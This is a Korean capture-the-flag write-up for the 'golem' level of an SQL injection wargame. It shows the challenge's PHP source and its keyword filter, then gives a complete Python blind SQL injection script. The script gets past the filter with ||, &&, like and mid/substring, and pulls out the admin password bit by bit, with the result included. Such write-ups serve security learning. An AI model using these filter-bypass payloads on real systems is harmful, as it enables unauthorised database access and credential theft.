LOS Lv.11 golem

golem

query : select id from prob_golem where id='guest' and pw=''

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>

Solution

pw에 점과 (), or, and, substr(, = 입력 불가함. 
'=' 은 like 연산자이므로 like로 대체.
substr은 mid 또는 그냥 substring으로 대체.

import requests

url='https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
headers={'Content-Type':'application/x-www-form-urlencoded'}
cookies={'PHPSESSID':'[redacted]'}

bit_val=''
pw=''

for i in range(1,9) :
    payload={'pw':"' || id like 'admin' && length(bin(ascii(mid(pw,"+str(i)+",1)))) like 7 #"}
    res=requests.get(url,headers=headers, params=payload, cookies=cookies)
    if "Hello admin" in res.text :
        bit_len=7
    else :
        bit_len=6
    
    for j in range(1,bit_len+1) :
        payload={'pw':"' || id like 'admin' && substring(bin(ascii(substring(pw,"+str(i)+",1))),"+str(j)+",1) like 0 #"}
        res=requests.get(url,headers=headers, params=payload, cookies=cookies)
        if "Hello admin" in res.text :
            bit_val+='0'
        else :
            bit_val+='1'
    
    pw+=chr(int(bit_val,2))
    bit_val=''
    print("pw :",pw) # 77d6290b